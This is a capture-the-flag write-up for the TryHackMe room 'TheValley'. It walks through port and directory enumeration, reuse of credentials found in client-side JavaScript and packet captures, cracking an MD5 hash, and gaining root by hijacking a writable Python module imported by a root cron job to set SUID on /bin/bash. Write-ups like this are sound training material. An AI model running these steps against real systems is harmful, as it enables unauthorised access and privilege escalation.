TheValley

Enumeration

Nmap

```
┌──(kali㉿kali)-[~]
└─$ sudo nmap -p- --min-rate 5000 -Pn 10.10.231.45
[sudo] password for kali:
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-11 15:16 EDT
Nmap scan report for 10.10.231.45
Host is up (0.19s latency).
Not shown: 65532 closed tcp ports (reset)
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
37370/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 13.82 seconds
```

```
┌──(kali㉿kali)-[~]
└─$ sudo nmap -sV -sC -A -Pn -p 22,80,37370 10.10.231.45
[sudo] password for kali:
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-11 15:16 EDT
Nmap scan report for 10.10.231.45
Host is up (0.19s latency).

PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 c2842ac1225a10f16616dda0f6046295 (RSA)
|   256 429e2ff63e5adb51996271c48c223ebb (ECDSA)
|_  256 2ea0a56cd983e0016cb98a609b638672 (ED25519)
80/tcp    open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
37370/tcp open  ftp     vsftpd 3.0.3
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1
 closed port
Aggressive OS guesses: Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera
 (Linux 2.6.17) (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Adtran 424RG
 FTTH gateway (92%), Linux 2.6.32 (92%), Linux 2.6.39 - 3.2 (92%), Linux 3.1 - 3.2 (92%),
 Linux 3.11 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
```

```
Service Info: OSs: Linux, Unix; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 80/tcp)
HOP RTT       ADDRESS
1   206.84 ms 10.8.0.1
2   206.92 ms 10.10.231.45

OS and Service detection performed. Please report any incorrect results at https://nmap.or
g/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.10 seconds
```

Dir Scan

```
┌──(kali㉿kali)-[~/wordlists]
└─$ gobuster dir -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt --no-erro
r -t 40 -u http://10.10.231.45
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.231.45
[+] Method:                  GET
[+] Threads:                 40
[+] Wordlist:                /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.5
[+] Timeout:                 10s
===============================================================
2023/07/11 15:17:16 Starting gobuster in directory enumeration mode
===============================================================
/gallery              (Status: 301) [Size: 314] [--> http://10.10.231.45/gallery/]
/static               (Status: 301) [Size: 313] [--> http://10.10.231.45/static/]
/pricing              (Status: 301) [Size: 314] [--> http://10.10.231.45/pricing/]
```

/gallery/gallery.html

```
<div class="gallery">
  <a target="_blank" href="/static/1">
    <img src="/static/1" alt="1" width="1200" height="800">
  </a>
  <div class="desc">Image taken of the rapids of the Potomac</div>
</div>
<div class="gallery">
  <a target="_blank" href="/static/2">
    <img src="/static/2" alt="2" width="1200" height="800">
  </a>
  <div class="desc">The stars, as bright as ever</div>
</div>
```

```
<div class="gallery">
  <a target="_blank" href="/static/3">
    <img src="/static/3" alt="3" width="1200" height="800">
  </a>
  <div class="desc">Picture taken of Blue lake at sunset</div>
</div>
```

Vulnerabilities Assessment

Log in `ftp` require the password

```
┌──(kali㉿kali)-[~/TryHackMe]
└─$ ftp 10.10.231.45 -P 37370
Connected to 10.10.231.45.
220 (vsFTPd 3.0.3)
Name (10.10.231.45:kali): kali
331 Please specify the password.
Password:
530 Login incorrect.
ftp: Login failed
ftp> quit
221 Goodbye.
```

Go around and try with **numbers** on the `/static/` variable where the images in **gallery** are placed and found this hidden directory

```
┌──(kali㉿kali)-[~/TryHackMe/TheValley]
└─$ curl http://10.10.231.45/static/00
dev notes from valleyDev:
-add wedding photo examples
-redo the editing on #4
-remove /dev1243224123123
-check for SIEM alerts
```

The note reminds the developer to remove the directory `/dev12343224123123` → Figure out is it removed or existed?

```
┌──(kali㉿kali)-[~/TryHackMe/TheValley]
└─$ curl http://10.10.231.45/dev1243224123123/
<!DOCTYPE html>
<html lang="en">
```

```
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Login</title>
  <link rel="stylesheet" href="style.css">
  <script defer src="dev.js"></script>
  <script defer src="button.js"></script>
</head>


<body>
  <main id="main-holder">
    <h1 id="login-header">Valley Photo Co. Dev Login</h1>

    <div id="login-error-msg-holder">
      <p id="login-error-msg">Invalid username <span id="error-msg-second-line">and/or pas
sword</span></p>
    </div>

    <form id="login-form">
      <input type="text" name="username" id="username-field" class="login-form-field" plac
eholder="Username">
      <input type="password" name="password" id="password-field" class="login-form-field"
 placeholder="Password">
      <input type="submit" value="Login" id="login-form-submit">
    </form>


    <button id="homeButton">Back to Homepage</button>

  </main>
</body>

</html>
```

It's still here! View the source code of `dev.js` and found this **Login** function:

```
loginButton.addEventListener("click", (e) => {
    e.preventDefault();
    const username = loginForm.username.value;
    const password = loginForm.password.value;

    if (username === "siemDev" && password === "california") {
        window.location.href = "/dev1243224123123/devNotes37370.txt";
    } else {
        loginErrorMsg.style.opacity = 1;
    }
})
```

Use the above creds to login and the application would route to the `devNotes37370.txt` which might contain information about the **vsftpd** service that we have logged in failed since the above steps

```
┌──(kali㉿kali)-[~/TryHackMe/TheValley]
└─$ curl http://10.10.231.45/dev1243224123123/devNotes37370.txt -X POST --data "username=s
iemDev&password=california"
dev notes for ftp server:
-stop reusing credentials
-check for any vulnerabilies
-stay up to date on patching
-change ftp port to normal port
```

Notice on the first line in the note "**stop reusing credentials**" → The ftp service is using the same creds with this login form → Try out!

Gain Access

```
┌──(kali㉿kali)-[~/TryHackMe]
└─$ ftp 10.10.231.45 -P 37370
Connected to 10.10.231.45.
220 (vsFTPd 3.0.3)
Name (10.10.231.45:kali): siemDev
331 Please specify the password.
Password: california
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
```

We have login success → Figure out what are placing in the current location

```
ftp> ls
229 Entering Extended Passive Mode (|||17429|)
150 Here comes the directory listing.
-rw-rw-r--    1 1000     1000         7272 Mar 06 13:55 siemFTP.pcapng
-rw-rw-r--    1 1000     1000      1978716 Mar 06 13:55 siemHTTP1.pcapng
-rw-rw-r--    1 1000     1000      1972448 Mar 06 14:06 siemHTTP2.pcapng
226 Directory send OK.
```

Transfer them to the local machine for analyzing

Use `strings` to extract the data from these files and using `grep` to filter the output related to creds such as `pass`, `user`, `username`, `ssh`,…

```
┌──(kali㉿kali)-[~/TryHackMe/TheValley]
└─$ strings siemHTTP2.pcapng| grep "name"
uname=valleyDev&psw=ph0t0s1234&remember=on
```

Despite of the port `37370` running **vsftpd** service and port `80` running **httpd**, the only left port `22` is running `SSH`. Use the above creds to try to login through `SSH` service

```
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-139-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

 * Introducing Expanded Security Maintenance for Applications.
   Receive updates to over 25,000 software packages with your
   Ubuntu Pro subscription. Free for personal use.

     https://ubuntu.com/pro
valleyDev@valley:~$ id
uid=1002(valleyDev) gid=1002(valleyDev) groups=1002(valleyDev)
```

Get the flag:

```
valleyDev@valley:~$ ls
user.txt
valleyDev@valley:~$ cat user.txt
THM{k@l1_1n_th3_v@lley}
```

Privilege Escalation → valley

Navigate to `/home` directory:

```
valleyDev@valley:/home$ ls
siemDev  valley  valleyAuthenticator  valleyDev
valleyDev@valley:/home$ ls -l
total 744
drwxr-x---  4 siemDev   siemDev     4096 Mar 20 20:03 siemDev
drwxr-x--- 16 valley    valley      4096 Mar 20 20:54 valley
```

```
-rwxrwxr-x  1 valley    valley    749128 Aug 14  2022 valleyAuthenticator
drwxr-xr-x  5 valleyDev valleyDev   4096 Mar 13 08:17 valleyDev
```

There is a executable file named `valleyAuthenticator`

Transfer the file to the local machine for analyzing:

1. Open port on target machine

```
valleyDev@valley:/home$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
```

2. Use `curl` or `wget` to get the file:

```
┌──(kali㉿kali)-[~/TryHackMe/TheValley]
└─$ curl valleyDev@10.10.52.48:8000/../valleyAuthenticator -o valleyAuthenticator
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  731k  100  731k    0     0   557k      0  0:00:01  0:00:01 --:--:--  556k
```

```
valleyDev@valley:/home$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.8.97.213 - - [11/Jul/2023 13:52:36] "GET /valleyAuthenticator HTTP/1.1" 200 -
```

Use `strings` again to view the extract data and found these lines

```
-^;x&
e6722920bab2326f8217e4
bf6b1b58ac
ddJ1cc76ee3
beb60709056cfbOW
elcome to Valley Inc. Authentica
[k0rHh
 is your usernad
Ol: /passwXd.{
~{edJrong P=
sL_striF::_M_M
v0ida%02xo
```

Concatenate and split the string then use **hash-identifier** until it identifies the string as a hash which could be cracked:

```
┌──(kali㉿kali)-[~/TryHackMe/TheValley]
└─$ hash-identifier
   #########################################################################
   #     __  __                     __           ______    _____           #
   #    /\ \/\ \                   /\ \         /\__  _\  /\  _ `\         #
   #    \ \ \_\ \     __      ____ \ \ \___     \/_/\ \/  \ \ \/\ \        #
   #     \ \  _  \  /'__`\   / ,__\ \ \  _ `\      \ \ \   \ \ \ \ \       #
   #      \ \ \ \ \/\ \_\ \_/\__, `\ \ \ \ \ \      \_\ \__ \ \ \_\ \      #
   #       \ \_\ \_\ \___ \_\/\____/  \ \_\ \_\     /\_____\ \ \____/      #
   #        \/_/\/_/\/__/\/_/\/___/    \/_/\/_/     \/_____/  \/___/  v1.2 #
   #                                                             By Zion3R #
   #                                                    www.Blackploit.com #
   #                                                   Root@Blackploit.com #
   #########################################################################
--------------------------------------------------
 HASH: e6722920bab2326f8217e4bf6b1b58ac

Possible Hashs:
[+] MD5
[+] Domain Cached Credentials - MD4(MD4(($pass)).(strtolower($username)))
```

Use `hashcat` or any cracking tools to crack the hash → Get the output:

```
e6722920bab2326f8217e4bf6b1b58ac:liberty123
```

Use the above output as the password to login as user `valley`

```
valleyDev@valley:/home$ su valley
Password:
valley@valley:/home$ id
uid=1000(valley) gid=1000(valley) groups=1000(valley),1003(valleyAdmin)
```

Now it seem we have more permission than before to exploit the machine and become `root` user to get the final flag

Privilege Escalation → root

```
valleyDev@valley:~$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name command to be executed
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cro
n.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cro
n.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cro
n.monthly )
1  *    * * *   root    python3 /photos/script/photosEncrypt.py
```

The `/etc/crontab` shows us that the system automatically execute the file `photosEncrypt.py` by **python3** as `root` privilege → Read the file content first

```
#!/usr/bin/python3
import base64
for i in range(1,7):
# specify the path to the image file you want to encode
        image_path = "/photos/p" + str(i) + ".jpg"

# open the image file and read its contents
        with open(image_path, "rb") as image_file:
          image_data = image_file.read()

# encode the image data in Base64 format
        encoded_image_data = base64.b64encode(image_data)

# specify the path to the output file
        output_path = "/photos/photoVault/p" + str(i) + ".enc"

# write the Base64-encoded image data to the output file
        with open(output_path, "wb") as output_file:
          output_file.write(encoded_image_data)
```

The file convert the data from `.jpg` files to `.enc` files with `base64` encoding. Unfortunately, we don't have the permission to modify the file. However, there is another thing that might be exploited which is `base64` imported module:

```
valley@valley:/home$ find / -type f -name "base64.py" -ls 2>/dev/null
   263097     20 -rwxrwxr-x   1 root     valleyAdmin    20382 Mar 13 03:26 /usr/lib/python
3.8/base64.py
     3929     20 -rwxr-xr-x   1 root     root           20382 Nov 14  2022 /snap/core20/18
28/usr/lib/python3.8/base64.py
     3906     20 -rwxr-xr-x   1 root     root           20382 Jun 22  2022 /snap/core20/16
11/usr/lib/python3.8/base64.py
```

Checking the permission on the file module and luckily the file is writable → Inject it by using the `os.system` to **change the access mode (**`chmod`) of the file with **SUID** permission

```
valley@valley:/home$ echo "import os;os.system('chmod u+s /bin/bash')" > /usr/lib/python3.
8/base64.py
```

Wait for a second and check the injected service `/bash` whether it has `suid` permission

```
valley@valley:/home$ ls -la /bin/bash
-rwsr-xr-x 1 root root 1183448 Apr 18  2022 /bin/bash
```

Execute it and become `root` user → Flag is our now!

```
valley@valley:/home$ /bin/bash -p
bash-5.0# id
uid=1000(valley) gid=1000(valley) euid=0(root) groups=1000(valley),1003(valleyAdmin)
bash-5.0# whoami
root
bash-5.0# ls
root.txt  snap
bash-5.0# cat root.txt
THM{v@lley_0f_th3_sh@d0w_0f_pr1v3sc}
```